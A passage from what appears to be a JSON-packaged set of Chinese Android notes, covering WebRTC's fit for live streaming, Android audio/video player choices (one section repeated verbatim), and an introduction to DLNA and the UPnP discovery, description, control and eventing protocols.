Protocol (SDP)`给对方，还需要一个`MediaConstraint`。一旦对方得到了这个请求，它将创建一个应答并将其传输给`caller`。`SDP`是用来给对方描述期望格式的数据（如`video`、`formats`、`codecs`、`encryption`、`resolution`、 `size`等）。一旦`caller`收到这个应答信息，双方就相互建立的通信需求达成了一致，如视频、音频、解码器等。\n\n#### `setLocalDescription/setRemoteDescription`\n\n这个是用来设置`createOffer`和`createAnswer`产生的`SDP`数据的，包含从远端获取到的数据。它允许内部`PeerConnection`配置链接以便一旦开始传输音频和视频就可以开始真正工作。\n\n#### `PeerConnection.Observer`\n\n这个接口提供了一种监测`PeerConnection`事件的方法，例如收到`MediaStream`时，或者发现`iceCandidates`时，或者需要重新建立通讯时。这个接口必须被实现，以便你可以有效处理收到的事件，例如当对方变为可见时，向他们发送信号`iceCandidates`。\n\n\n`WebRTC打开了人与人之间的通讯，对开发者免费，对终端用户免费。 它不仅仅提供了视频聊天，还有其他应用，比如健康服务、低延迟文件传输、种子下载、甚至游戏应用。\n想要看到一个真正的`WebRTC`应用实例，请下载[appear.in](https://play.google.com/store/apps/details?id=appear.in.app&referrer=utm_source=tech.appear.in&utm_medium=blog&utm_campaign=android-launch-may15)。它在浏览器和本地应用间运行的相当完美，在同一个房间内最多可以8个人免费使用。不需要安装和注册。\n\n\n最后总结一下: \n\n直播用的主流协议:  \n\n- `RTMP`: (`Real Time Messaging Protocol`)实时消息传送协议是`Adobe Systems`公司为`Flash`播放器和服务器之间音频、视频和数据传输 开发的开放协议。目前直播的主流平台95%都是基于该协议做的。      \n\n    - 优点：成熟，稳定，效果好等等\n    - 缺点：有延迟，达不到实时互动等等\n\n- `WebRTC`: 名称源自网页实时通信（`Web Real-Time Communication`）的缩写，是一个支持网页浏览器进行实时语音对话或视频对话的技术，是谷歌2010年以6820万美元收购`Global IP Solutions`公司而获得的一项技术。2011年5月开放了工程的源代码，在行业内得到了广泛的支持和应用，成为下一代视频通话的标准。      \n\n    - 优点：实时互动，开发难度小等等\n    - 缺点：太实时，如果网络不好，视频质量会严重下降，体验不好；考研服务器等等\n\n\n\n那既然`WebRTC`这么好，那直接用来做直播不就好了。结果往往并没有想象中的那么完美。\n\n`WebRTC`整体的技术并不适合做直播。`WebRTC`设计的初衷只是为了在两个浏览器/`native app`之间解决直接连接发送`media streaming/data`数据的，也就是所谓的`peer to peer`的通信，大多数的情况下不需要依赖于服务器的中转，因此一般在通信的逻辑上是一对一。而我们现在的直播服务大部分的情况下是一对多的通信，一个主播可能会有成千上万个接收端，这种方式用传统的`P2P`来实现是不可能的，所以目前直播的方案基本上都是会有直播服务器来做中央管理，主播的数据首先发送给直播服务器，直播服务器为了能够支持非常多用户的同事观看，还要通过边缘节点`CDN`的方式来做地域加速，所有的接收端都不会直接连接主播，而是从服务器上接收数据。\n\n`WebRtc`只适合小范围（8人以内）音视频会议，不适合做直播：\n1. 视频部分：vpx的编码器太弱，专利原因不能用264，做的好的都要自己改264/265代码才行。\n2. 音频部分：音频只适合人声编码，对音乐和其他非人声的效果很糟糕。\n3. 网络部分：对国内各种奇葩网络适应性太低，网络糟糕点或者人多点就卡。\n4. 信号处理：同时用过`GIPS`和`WebRTC`进行对比，可以肯定目前开源的代码是`GIPS`阉割过的。\n5. 使用规模：10人以内使用，超过10人就挂了，\n\n现在的直播服务器请使用`nginx rtmp-module`架设，架设好了用`ffmpeg`命令行来测试播摄像头。主播客户端请使用`rtmp`进行推流给`rtmp-module`，粉丝请使用`rtmp/flv+http stream`进行观看，`PC-web`端的粉丝请使用`Flash NetStream`来观看，移动`web`端的粉丝请使用`hls/m3u8`来观看。如果你试验成功要上线了，出现压力了，那么把`nginx`分层（接入层+交换层），稍微改两行代码，如果资金不足以全国部署服务器，那么把`nginx-rtmp-module`换为`cdn`的标准直播服务，也可以直接调过`nginx`，一开始就用`cdn`的直播服务，比如网宿（斗鱼的直播服务提供商）。这是正道，别走弯路了。\n\n那既然`WebRTC`不适合做直播，还写这么多干啥，`WebRTC`内部包含的技术模块是非常适合解决直播过程中存在的各种问题的，而且应该在大多数直播技术框架中都已经得到了部分应用，例如音视频数据的收发、音频处理回音消除降噪等。所以综上，可以使用`WebRTC`内部的技术模块来解决直播过程中存在的技术问题，但是不适合直接用`WebRTC`来实现直播的整体框架。\n\n\n参考: \n\n- [Introduction to WebRTC on Android](https://tech.appear.in/2015/05/25/Introduction-to-WebRTC-on-Android/)   \n- [Android WebRTC 编译](https://webrtc.org/native-code/android/)\n- [Android WebRTC开源项目](https://github.com/pchab/AndroidRTC)\n- [ProjectRTC](https://github.com/pchab/ProjectRTC)\n- [Getting Started with WebRTC](https://www.html5rocks.com/en/tutorials/webrtc/basics/)\n- [WebRTC Github](https://github.com/webrtc)\n- [WebRTC GoogleSource](https://chromium.googlesource.com/external/webrtc)\n- [Android WebRTC](https://webrtc.org/native-code/android/)\n- [Samples](https://github.com/webrtc/samples/)\n- [WebRTC API](https://developer.mozilla.org/en-US/docs/Web/API/Media_Streams_API)\n- [WebRTC适合做直播吗？](https://www.zhihu.com/question/25497090)\n\n\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/VideoDevelopment/Android音视频开发.md",
    "content": "Android音视频开发\n===\n\n\n\n\n\n\n二、Android音视频的开发\n·播放流程: 获取流—>解码—>播放\n\n·录制播放路程: 录制音频视频—>剪辑—>编码—>上传服务器 别人播放.\n\n·直播过程 : 录制音视频—>编码—>流媒体传输—>服务器—>流媒体传输到其他app—>解码—>播放 \n\n几个重要的环节\n\n·录制音视频 AudioRecord/MediaRecord\n\n·视频剪辑 mp4parser 或ffmpeg\n\n·音视频编码 aac&h264\n\n·上传大文件 网络框架,进度监听,断点续传\n\n·流媒体传输 流媒体传输协议rtmp rtsp hls\n\n·音视频解码 aac&h264\n\n·渲染播放 MediaPlayer\n\n\n\n\n\n\n\n\n\n\n\n正如上文所说，Android本身对音视频流媒体传输协议，以及音视频编解码支持有限。所以对于直播类应用，要自己解码。\n\n3.1 调研过程\n\n·vitamio\n\n·webRTC\n\n·ffmpeg\n\n·vlc\n\n·ijkplayer\n\n先说下 vitamio，这个是功能很强大，但是企业收费版的，个人用户可以玩玩。\n\n目前WebRTC，只适合小范围（8人以内）音视频会议，不适合做直播。\n\n接下来介绍下 ffmpeg、vlc、ijkplayer以及选择方案。\n\nffmpeg是一个非常强大的音视频编解码开源库，目前市场上流行的播放器，大部分都是基于此开发的，包括暴风、腾讯等等以及上面提到的vitamio、vlc、ijkplayer。\n\nvlc支持android开发，ijkplayer也支持。通过反编译网易云音乐，以及YY等音视频app，发现网易云音乐、斗鱼用的ijkplayer，YY用的VLC。二、Android音视频的开发\n·播放流程: 获取流—>解码—>播放\n\n·录制播放路程: 录制音频视频—>剪辑—>编码—>上传服务器 别人播放.\n\n·直播过程 : 录制音视频—>编码—>流媒体传输—>服务器—>流媒体传输到其他app—>解码—>播放 \n\n几个重要的环节\n\n·录制音视频 AudioRecord/MediaRecord\n\n·视频剪辑 mp4parser 或ffmpeg\n\n·音视频编码 aac&h264\n\n·上传大文件 网络框架,进度监听,断点续传\n\n·流媒体传输 流媒体传输协议rtmp rtsp hls\n\n·音视频解码 aac&h264\n\n·渲染播放 MediaPlayer\n\n\n\n\n\n\n\n\n\n\n\n正如上文所说，Android本身对音视频流媒体传输协议，以及音视频编解码支持有限。所以对于直播类应用，要自己解码。\n\n3.1 调研过程\n\n·vitamio\n\n·webRTC\n\n·ffmpeg\n\n·vlc\n\n·ijkplayer\n\n先说下 vitamio，这个是功能很强大，但是企业收费版的，个人用户可以玩玩。\n\n目前WebRTC，只适合小范围（8人以内）音视频会议，不适合做直播。\n\n接下来介绍下 ffmpeg、vlc、ijkplayer以及选择方案。\n\nffmpeg是一个非常强大的音视频编解码开源库，目前市场上流行的播放器，大部分都是基于此开发的，包括暴风、腾讯等等以及上面提到的vitamio、vlc、ijkplayer。\n\nvlc支持android开发，ijkplayer也支持。通过反编译网易云音乐，以及YY等音视频app，发现网易云音乐、斗鱼用的ijkplayer，YY用的VLC。\n\n\n\n\n\n\n\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/VideoDevelopment/DLNA简介.md",
    "content": "DLNA\n===\n\n一、DLNA简介\n---\n\n**DLNA**成立于`2003年6月24日`,其前身是`DHWG（Digital Home Working Group 数字家庭工作组）`，由`Sony、Intel、Microsoft`等发起成立、旨在解决个人`PC` ，消费电器，移动设备在内的无线网络和有线网络的互联互通，使得数字媒体和内容服务的无限制的共享和增长成为可能,目前成员公司已达280多家。`DLN`全称为`DIGITAL LIVING NETWORK ALLIANCE`， 直译成中文就是“数字生活网络联盟”,其宗旨是`Enjoy  your music, photos and videos, anywhere anytime`.\n\n更多内容请访问[DLNA官网](http://www.dlna.org)\n\n（通俗的举个例子：我坐在马桶上点我手机里的歌曲，客厅里电脑的音箱立刻播放了我手机里的音乐，下一首快进暂停都可以手机控制，或者你拍了一段高清的视频，用手机那小小的屏幕实在是没有阖家观赏的效果，不怕，我从容的选择电脑播放，在手机里点到视频，家里23寸的显示器立刻流畅的播放刚刚拍下的热腾腾的高清视频。而且在手机也可以浏览电脑里的图片音乐和视频)。\n\n二、DLNA成员\n---\n\n这个组织将加入者分为两个层次，最高层次为`promoter`,  其次为`contributor`。`promoter`制定标准和协议，`contributor`可以分享这个组织的资源，也可以提交标准，参与讨论。现在绝大多数的电子制造商都加入了该组织，至少是`contributor`，而且年费还很贵。成员名单可以从http://www.dlna.org/about_us/roster/中可以找到。    \n`DLNA`的骨干成员包括以Intel为首的芯片制造商；以HP为首的PC制造商，以Sony，Panasonic，Sharp，Samsung，LG 为首的家电、消费电子制造商；以CISCO，HUWEI，MOTOROLA，ERICSSON为首的电信设备/移动终端/标准商；一家独大的Microsoft软件/操作系统商等等。\n\n值得注意的有几点：  \n  \n1. DLNA这个东西基本Intel，Microsoft两个领域巨头在推，一个搞芯片，一个搞系统。AMD没出现在2011的promoter名单中；Google来年会不会掺一脚不好说。还有QUALCOMM也参加进来了，这几年的智能手机芯片处理器他家的也比较多，而且他家还有很多专利可以吃。\n\n2. 2011就剩HP一个大PC商了，其他大PC商如Acer,Asus都还不是promoter，他们肯定要抢着加入的。lenovo不仅从promotor名单中消失了，自然也不会是contributor了，和AMD一样。最开始时lenovo是很积极的，在DHWG的时候也是骨干成员，回来中国搞了一个“IGRS闪联”，退出的原因不知道和这个有没有关系。IGRS在很大程度上和DLNA是比较类似的，框架协议和UPnP也是比较像的。\n\n3. Awox和Cablelabs都是做互联多媒体设备的。Broadcom主要是做移动消费电子，有硬件solution，也有产芯片。\n\n4. ACCESS（爱可视）是做软件的。现在软件的需求很大，给第三方提供软件solution是一块很大的蛋糕。cyberlink和arcsoft也在做这方面，已经有些成熟的软件solution了，像EMC，NeuSoft也有在做。\n\n5. 运营商开始加入了，像at&t美国电报电话公司，at&t也挺厉害的，到处搞签约机，像是跟PSP VITA也签了。以后中国移动联通不知道会不会也跑来参加(有点难...)。\n\n6. dts和dolby都是做音视频标准的，他们基本是跑来收钱的，你机器上到他们的专利你就得付钱，跟以后肯定其他人也会跑来收钱。\n\n\n三、DLNA标准的制定\n---\n\n该组织旨在建立一个基于开放的工业标准的互操作平台，并将确立技术设计规则，供企业开发数字家庭有关的产品。其工作目标是根据开放工业标准制定媒体格式，传输和协议互操作性的指南和规范，和其他工业标准化组织进行联络，提供互操作性测试，并进行数字家庭市场计划的制定和实施。\n\n**DLNA并不是创造技术，而是形成一种解决的方案，一种大家可以遵守的规范。**所以DLNA选择的各种技术和协议都是目前所应用很广泛的技术和协议。所以很多家都要参加，希望DLNA采纳自己的协议和标准，以后自己好办事，可以的话顺便吃点专利费。大方向上肯定打不过Intel和Microsoft的，只能跟着他们走，可以提起其他方面的协议和标准。DLNA的标准写在DLNA GUIDELINES里面，就是大家开会一起写出来的，再开会不停修改的一个standard，一个specification。参加DLNA的商家必须按这个标准走。里面内容不太清楚，我现在没有这个GUIDELINES，这个必须是DLNA会员才能拿到，加会员要10000刀。\n\n四、DLNA设备分类\n---\n\n1. Home NetWork Device(HND)。这类设备指家庭设备，具有比较大的尺寸及较全面的功能，主要与移动设备区别开来，下属5类设备：\n\n    - Digital Media Server(DMS)。数字媒体服务器，提供媒体获取、记录、存储和输出功能。同时，内容保护功能是对DMS的强制要求。    \n    DMS总是包含DMP的功能，并且肯能包含其他智能功能，包括设备/用户服务的管理；丰富的用户界面；媒体管理/收集和分发功能。DMS的例子有PC、数字机顶盒（附带联网，存储功能）和摄像机等等。\n\n\t- DMP。数字媒体播放器。能从DMS/M-DMS上查找并获取媒体内容并播放和渲染显示。比如智能电视、家庭影院等\n\n\t- DMC。数字媒体控制器，查找DMS的内容并建立DMS与DMR之间的连接并控制媒体的播放。如遥控器。\n\n\t- DMR。数字媒体渲染设备。通过其他设备配置后，可以播放从DMS上的内容。**与DMP的区别在于DMR只有接受媒体和播放功能，而没查找有浏览媒体的功能**。比如显示器、音箱等。\n\n\t- DMPr。数字媒体打印机，提供打印服务。网络打印机，一体化打印机就属于DMPr。\n\n2. Mobile Handheld Devices(MHD)手持设备。相比家庭设备，手持设备的功能相对简化一些，支持的媒体格式也会不同。\n\n\t- M-DMS。与DMS类似，如移动电话，随身音乐播放器等。\n\n\t- M-DMP。与DMP类似。比如智能移动电视。\n\n\t- M-DMD。移动多媒体下载设备。如随身音乐播放器，车载音乐播放器和智能电子相框等\n\n\t- M-DMU。移动多媒体下载设备。如摄像设备和手机等。\n\n\t- M-DMC。与DMC类似。P如DA，智能遥控器。 手持设备没有定义M-DMR，因为手持设备会讲究便利性，会附加查找控制功能，要不然就只是普通的移动电视或收音机了。\n\n3. Networked Infrastructure Devices (NID) 联网支持设备。\n\n\t- Mobile Network Connectivity Function (M-NCF)。移动网络连接功能设备。提供各种设备接入移动网络的物理介质。 DLNA的希望是全部实现无线化。\n\n\t- Interoperability Unit (MIU)媒体交互设备。提供媒体格式的转换以支持各种设备需要。\n\n设备示例：\n\n1. 你下了班回到家，掏出手机拨到家庭模式，然后就在手机上遥控打开了等离子电视和PC，然后把订阅的新闻通过PC下载完成后打到等离子电视上播放。这时手机就是一个DMC/M-DMC，等离子电视是一个DMR，PC就是DMS。然后你手机上收到一张朋友从巴西传来的照片，你看完之后把它同步到PC上存储起来，这样手机现在的身份是M-DMU，然后你把这张图片放到电子相框里面。这个电子相框就是一个M-DMD，相框也有play的能力，所以他又是一个M-DMP。所以说这些设备的功能角色都是不定的，界限也不是那么严格。在DLNA Guidelines v1.0的时候还没有智能手机，后来在v1.5加入了。这个设备分类只是定义了功能，而且功能也会变的。以后还会出其它新设备，像pad,tab,touch各种各样，到时候标准也会变的。\n\n2. 现在目前的一些电视盒子大多都是`DMS`,像腾讯视频Android客户端有DLNA的功能，我们通过该客户端可以投放视频到盒子上面进行播放，对于此时手机就是一个DMC的功能。    \n\t又或者盒子通过`DLNA`功能共享出了一些视频、图片等，我们开发一个手机客户端，通过该客户端去获取盒子共享的内容，然后进行播放，这时候手机就相当于一个`DMP`的功能，稍后我们会分别实现`DMC`以及`DMP`的功能。\n\t\n五、DLNA架构\n---\n\n`DLNA`架构是个互联系统，因此在逻辑上它也类似`OSI（Open System Interconnection，开放系统互连)`七层网络模型。\n\nDLNA架构分为如下图7个层次：\n\n1. NetWorking Connectivity 网络互联方式:包括物理连接的标准，有有线的，比如符合IEEE802.3标准的Ethernet，；有无线的 ，比如符合IEEE802.11a/g标准的WiFi，能做到54Mbps，蓝牙(802.15)等,技术都很成熟。现在OFDM和MIMO(802.11n)已经能做到300Mbps了，早就超过比较普及的100Mbps的Ethernet了，只不过产品还没有普及，以后肯定会用到。\n\n2. NetWorking Stack 网络协议栈：DLNA的互联传输基本上是在IPV4协议簇的基础上的。用TCP或者UDP来传都可以。这一层相当于OSI网络层。\n\n3. Device Discovery&Control 设备发现和控制。 \n\t这一层是DLNA的基础协议框架。**DLNA用UPnP协议来实现设备的发现和控制**。下面重点看一下UPnP。    \n\t`UPnP`，英文是`Universal Plug and play`，翻译过来就是通用即插即用。UPnP最开始Apple和Microsoft在搞，后来Apple不做了(这里多一嘴，为什么Apple不做了，因为Apple现在出了个)，Microsoft还在继续做，Intel也加进来做，Sony，Moto等等也有加入。UPnP有个网站[http://www.upnp.org/](http://www.upnp.org/)，我们发现DLNA的网页和UPnP的网页很像，颜色也差不多，就可以知道他们关系很好了。DNLA主要是在推UPnP。  \n\n\t微软官方网站对UPnP的解释：通用即插即用 (UPnP) 是一种用于 PC 机和智能设备（或仪器）的常见对等网络连接的体系结构，尤其是在家庭中。UPnP 以 Internet 标准和技术（例如 TCP/IP、HTTP 和 XML）为基础，使这样的设备彼此可自动连接和协同工作，从而使网络（尤其是家庭网络）对更多的人成为可能。\n    举个例子。我们在自己的PC（win7）里面打开网络服务的UPnP选项，然后再家庭网络中共享一个装着视频的文件夹，然后买一台SmartTV回来打开就可以找到这台PC的共享文件夹，然后就直接在电视上选文件播放了。\n    UPnP的另外一个作用是给家庭网内的devices做自动的网络地址转换NAT(NAT,Network Address Translation)和端口映射(Port Mapping)，因为家庭网络里面没有那么多IP，所有的devices可能都要通过同一个ip出去。转换映射之后，家庭网络内外的devices就可以通过internet自由地相互连接，而不受内网地址不可访问的阻碍。    \n    UPnP Device Architecture 1.0中会说明设备是怎样通过UPnP来相互发现和控制，以及传递消息的。\n\n4. Media Management媒体管理。   \n\t媒体管理包括媒体的识别、管理、分发和记录（保存），UPnP AV Architecture:1 and UPnP Printer Architecture:1这两个属于UPnP的文档会说明如何进行媒体管理。\n\tUPnP AV Architecture 定义了UPnP AV设备间媒体传送以及和CP间的交互。UPnP AV也定义了两种UPnP AV设备：UPnP AV MediaServer（MS）和UPnP AV MediaRender（MR），以及他们具有的4种服务：\n\n\t- Content Directory Service(CDS)：能将可访问的媒体内容列出。\n\n\t- Connection Manager Service(CMS)：决定媒体内容可以通过何种方式由UPnP AV Media Server传送至UPnP AV MediaRender。\n\n\t- AVTransport Service：控制媒体内容，比如播放、停止、暂停、查找等。\n\n\t- Rendering Control Service：控制以何种方式播放内容，比如音量、静音、亮度等。\n\n5. Media Transport 媒体传输：\n\t这一层用HTTP(HyperText Transfer Protocol)超文本传输协议。就是平时我们上网用的媒体传输协议。HTTP用TCP可靠传输，也有混合UDP方式的HTTP。现在HTTP的最新版本是HTTP1.1。可选协议是RTP。\n    举例:我们输入一个网址，回车，给server发一个request，用TCP我们就可以等server给我们消息，说明server收到我们的消息了，否则我们就重发；接着server给我们TCP包，我们收一个就给server回信说我们收到了，要是server收不到回信，他就认为包丢掉了，会再传一个同样的包过来。不停地回信就是会比较慢。\n\n   那如果我们用UDP会怎样？就是说我们不给server回信说我们收到编号是x的包了，server也就不给我们重发丢掉的包了，这样我们就丢包了。\n\n   但是我们传stream的时候，比如视频流，不用存，看完就完了，这种时候就可以用UDP来传。加上局域网里面QoS本来就很高，丢包都是不太可能的。所以UDP肯定会用。局域网多播的时候也用UDP，这个在后面讲。\n   媒体的传输方案如下：\n   - 从DMS/M-DMS至DMP/M-DMP，即使不立即播放。\n   - 从一个DMS到另一个DMS，这时接收方DMS播放接收媒体内容，表现为一个DMP；也可以不立即播放，可能只是存储或者处理。    \n          \n   传输 模式有三种：\n   - 流传输。当DMR/DMP需要实时渲染接收媒体，媒体具时序性。\n   - 交互传输。不包含时序的媒体，如图片传输。\n   - 后台传输。非实时的媒体传输，比如上传下载等。\n\n6. Media Formats媒体格式。格式Formats在这里等同于编码格式Codec，平时我们说的编码格式比如Mpeg-2，AVC，x264就是视频编码格式；PCM，mp3(MPEG-2 Layer 3)，aac，flac就是音频编码格式。而avi，rmvb，mkv这些是媒体封装格式，包含视频音频可能还有字幕流。比如一个常见的后缀为mkv的文件，它的视频Codec是x264，音频是aac，它的视音频编码属于Mpeg-4 Codec Family。\n\n7. Remote UI 远程用户接口。\n\t说白了就是遥控器。比如说有个TV，我们说不管是用遥控器还是直接在TV上按按钮，效果是一样的。不过两者按钮的排列布局是不一样的。好了，现在到DLNA了，我想用手机当遥控器可不可以？当然可以，只要获得TV上按钮的功能，传到手机上来，模拟一个遥控器就好了。DLNA现在想用浏览器的方式，TV给你一个XML，手机上就出现遥控器界面了，有点像webQQ，webOS那种，这样在手机上就不需要客户端了，TV功能更新了，手机直接跟TV要新的XML，很方便。\t\n\n\n六、DLNA可以支持的格式\n---\n\nImage：JPEG PNG, GIF, TIFF    \nAudio：LPCM AAC, AC-3, ATRAC 3plus, MP3, WMA9    \nAV： MPEG2 MPEG-1, MPEG-4, AVC, WMV9     \n\nUPNP协议简介\n===\n\n**DLNA通讯采用UPNP协议来进行设备的发现和控制**，UPnP英文名称：Universal Plug and Play中文译名：通用即插即用协议。\n我们在做DLNA开发的时候都是用现有的upnp开源框架，upnp官网地址是：\nhttp://upnp.org/\n相关SDK地址为http://upnp.org/sdcps-and-certification/resources/sdks/\n\n一、UPnP的工作过程\n---\n\n1. 寻址(Addressing)。\n\n    地址是整个UPnP系统工作的基础条件，每个设备都应当是DHCP（Dynamic Host Configuration Protocol 动态主机配置协议）的客户。当设备首次与网络建立连接后，利用DHCP服务，使设备得到一个IP地址。这个IP地址可以是DHCP系统指定的，也可以是由设备选择的。当局域网内没有提供DHCP服务时，UPnP设备将按照Auto-IP的协议，从169.254/169.16地址范围获取一个局域网内唯一的IP地址。设备还可以使用friendly name，这就需要域名解析服务（DNS）来转换name和IP。这个过程用到的东西都是现存的，而且是很普及的，市面上买的路由器都会有。\n\n2. 发现(Discovery)。\n\n\t发现是 UPnP工作第一步。 当一个 设备被添加到网络后，UPnP的发现协议允许该设备向网络上的Control Points(CPs)通知(advise)自己拥有的服务。同样，当一个CP被添加到网络后， UPnP发现协议允许该CP 搜索网络上可用的设备 。 这两种情况下的组播消息一般是设备和服务的基本信息，如它的类型， 唯一标识符，当前状态参数等等。要注意设备信息和服务信息都是要组播出去的。发现的过程可以用下面Figure 1-1来描述。\n\n\t下面详细叙述UPnP发现设备用到的协议：SSDP(Simple Service Discovery Protocol，简单服务发现协议)，说明设备是怎样向网络通知或者撤销自己可以提供的服务；CP是如何搜索设备以及设备是如何回应搜索的。\n\n\tSSDP格式套用HTTP1.1的部分消息头字段，但是和HTTP不同，SSDP是采用UDP传输的，而且SSDP没有Message Body，就是说SSDP只有信头而没有信件内容的。\n\n\tSSDP第一个要填充的字段是star - line，说明这是个什么类型的消息。\n\n\t比如填\"NOTIFY * HTTP/1.1/r/n\"，就说明这个SSDP消息是个通知消息，一般设备加入网络或者离开网络都要NOTIFY，更新自己的服务后也要NOTIFY一下。别的设备看见这个消息的star - line就知道有设备状态变了，自己就打开这个消息看一下有没有需要更新的。如果填\"NOTIFY * HTTP/1.1/r/n\"，就要填LOCATION字段，填一个description URL，CP可以通过这个地址来取得设备的详细信息。\n\n\t填\"M-SEARCH * HTTP/1.1/r/n\"就是要搜索了；respone别人的搜索就填\"HTTP/1.1 200 OK/r/n\"。\n\n    SSDP第二个要填充的字段是目的地址HOST。比如填上\"HOST: 239.255.255.250:1900\"，就是组播(multicast)搜索，这里239.255.255.250是组播地址，就是说这条消息会给网络里面该组地址的设备发，1900是SSDP协议的端口号。如果HOST地址是特定地址，那这就是单播(unicast)。Respone不填这个字段，他会在ST字段里面填respone address，就是发来搜索信息的设备的地址，Respone消息的话还会发送一个包含自己地址URL的字段，Respone的意思就是跟Searcher说：我好像是你要找的人，我的电话是XXX，详细情况请CALL我。Respone也是UDP单播。\n \n3. 描述(Description)\n\n\t前面我们说了CP想要一个device更详细的信息，就打给它的URL跟它要。返回来的东西一般是个XML（Extensible Markup Language，是种结构化的数据。和HTML比较像，有tag和data，具体不说了自己去查），描述分为两部分：一个是device description，是device的物理描述，就是说这个device是什么；还有一个是service descriptions，就是device的服务描述了，就是device能干些什么。这些device和device service的描述的格式也是有要求的，开发商也可以自定义，只要符合UPnP Forum的规范。\n\n\t这里稍微解释一下设备描述和服务描述。\n\t首先说设备，比如一个家庭影院，有显示屏，有功放音响，还有蓝光机。那么这个家庭影院home threatre，就是一个根设备(root device)，它下属有Screen，Amplifier,BDplayer这些从设备。home threatre的描述XML中会有一个device list,列出Screen，Amplifier,BDplayer这些设备的基本信息及这些设备描述的URL，以及设备的presentationURL（这类似于web服务器，通过访问presentationURL，本地会加载一个网页，在这个网页上可以操作设备及其它拥有的服务）；还会有一个sevice list,里面列出home threatre可调用的服务基本信息及服务描述URL。\n\n\t再来是服务，通过访问服务描述URL，可以取得服务描述XML，里面会详细介绍服务的信息，包括干什么用的，属于哪个设备，有哪些action，需要哪些参数，怎么调用等等。\n\n4. 控制(Control)\n\n   拿到device description和service descriptions以后，那我们怎么去遥控这些设备呢？    \n   在设备描述部分，device description还有关于如何控制device的描述，会给出一个Control URL，CP可以向这个URL发送不同的控制信息就可以控制device了，然后device也可以返回一个信息反馈。    \n\t这种CP和device之间沟通信息按照Simple Object Access Protocol (SOAP)的格式来写。SOAP通过HTTP来传，现在的版本是1.1，叫做SOAP 1.1 UPnP Profile。这个Profile把控制/反馈信息分成三种：UPnP Control Request，UPnP Control Response和UPnP Control Error Response，都比较好理解。SOAP协议是有信内容Body的，和SSDP不一样。消息Body里面就可以写想调用的动作了，叫做Action invocation，可能还要传参数，比如想播放一个视频，要把视频的URL传过去；device收到后要respone，表示能不能执行调用，出错的话会返回一个错误代码。\n\n5. 事件(Eventing)\n\n\t在服务进行的整个时间内，只要变量值发生了变化或者模式的状态发生了改变，就产生了一个事件，该事件服务提供者(某设备的某个服务)会把该事件向整个网络进行多播（multicast）。而且，CP也可以事先向事件服务器订阅事件信息，就像RSS订阅一样，保证将该CP感兴趣的事件及时准确地单播传送过来（unicast）。\n\n\t下面是一个Unicast eventing 的architecture图，CP是subscriber，服务器是publisher。\n\n\tsubscriber(通常是个CP)向publisher(通常是个service)发送订阅消息(subscribe)，更新订阅消息(renewal)，退订消息(cancel)。publisher向subscriber推送订阅(event:SIDX)。\n\t事件的订阅和推送这块用的通信协议是GENA(General Event Notification Architecture) ，通过HTTP/TCP/IP传送。GENA的格式就不细说了，详细请参阅UPnP-arch-DeviceArchitecture-v1.1。下面列出订阅过程供参考：\n\n\t- 订阅。subscriber发送订阅消息主要包含事件URL(evenURL)，服务ID号(service identifier),这两个可以在设备服务描述信息中找到，以及寄送地址(delivery URL)。还会包含一个订阅期限(duration)。\n\n\t- 成功订阅。publisher收到订阅信息，如果同意订阅的话就会为每个新subscriber 生成一个唯一的subscriber identifier并记录subscriber 的duration和delivery URL。还会记录一个顺序增长event key用来保证事件确实推送到subscriber那里。比如说有个新事件，key是6，然后把这个事件推送给某个subscriber那里，subscriber那里记录的event key是4，现在收到的事件key是6，他就知道他没收到key为5的事件，这样他就向publisher索要漏收的事件，从而保证双方变量值或状态的一致。\n\n\t- 首次推送。订阅同意订阅之后还会向subscriber发送一组初始变量或状态值，进行首次同步。\n\n\t- 续订。subscriber必须在订阅到期前发送renewal续订。\n\n\t- 订阅到期。订阅到期后publisher会把subscriber的信息删除，subscriber又回到订阅前的状态。\n\n\t- 退订。subscriber发送cancel信息将会取消订阅。subscriber因非正常退出网络的话，则不会退订直到订阅到期。\n\n\t- 订阅操作失败信息。当订阅、续订和退订不能被publisher接收或者出现错误时，publisher会发送一个错误代码。\n\n\t再简单说下多播（multicast，或者叫组播，本文中两者等同）和单播。even的组播采用UDP/IP，和SSDP一样，就是端口号变成了7900。下图是几个协议的所处层的位置，可以清楚地看到它们之间的差别。首先关于IP多播，要知道只存在UDP多播，没有TCP多播这回事。为什么呢？多播的重点是提高网络效率，将同一数据包发送给尽可能多的可能未知的计算机。像这种对网内所有设备的频繁消息通知采用多播是为了减小网络负担，SSDP也是一样。\n\n\t但是SSDP和multicast这种采用UDP方式的协议存在一个问题，就是可靠性不够。解决的办法就是多次通知，但是一般不会超过三次以免增加网络负担，这样就得不偿失了。像SSDP的话会采用定期广播advertice的方式，使各种各样原因而没收到advertice的CP重新获得advertice，又解决了UDP丢包的问题。\n\n\t前面在寻址的时候用到的DHCP用的是UDP广播(broadcast)。当一个新的设备加入网络时，他想要分个IP，但又不知道DHCP服务器的IP地址，所以他就在网内广播，用255.255.255.255地址来通知所有计算机。DHCP服务器收到请求后会为他申请并返回一个IP地址。\n\n6. 表达(Presentation)\n\n\t只要得到了设备的URL，就可以取得该设备表达的URL，取得该设备表达的HTML，然后可以将此HTML纳入CP的本地浏览器上。这部分还包括与用户对话的界面，以及与用户进行会话的处理。因此设备表达可以理解成“遥控器”。这部分定义描述界面，规范界面以及传输界面内容。远程界面是供CP用户使用的，CP用户通过远程界面完成设备描述的获取，控制设备，订阅收取设备事件等等。\n\n到此UPnP的工作过程的讲解就结束了。总结一下：\n\nUPnP分为6个步骤：\n\n先是Addressing，设备加入网络，通过DHCP或者Auto-IP获得IP；这部分在闪联IGRS中是没有定义的。\n\n然后是Discovery，采用SSDP协议(UDP)，用multicast/unicast可以完成设备的上线和离线通知和组播搜索设备，设备用unicast(单播,UDP)响应CP的搜索。\n\n往下是Description，通过HTTP协议(TCP)取回来是一个XML文档，包含物理描述和服务描述；\n\n再来是Control，采用SOAP协议(HTTP/TCP)，完成CP和devices之间的交互；\n\nEventing，采用GENA协议(HTTP/TCP)，完成设备事件消息的订阅和推送，为保证可靠性，故是TCP传输；事件的推送还有multicast (UDP)。\n\n最后是Presentation。UPnP并没有定义Presentation应该有哪些东西。一个HTML嘛，哪样写得好哪样来！\n\n二、UPNP协议常用类\n---\n\n下面是讲解UPnP AV的会用到的一些对象术语。\nAVTransport   AVT\n\nConnectionManager  CM\n\nContentDirectory  CD\n\nMediaRenderer  MR\n\nMediaServer  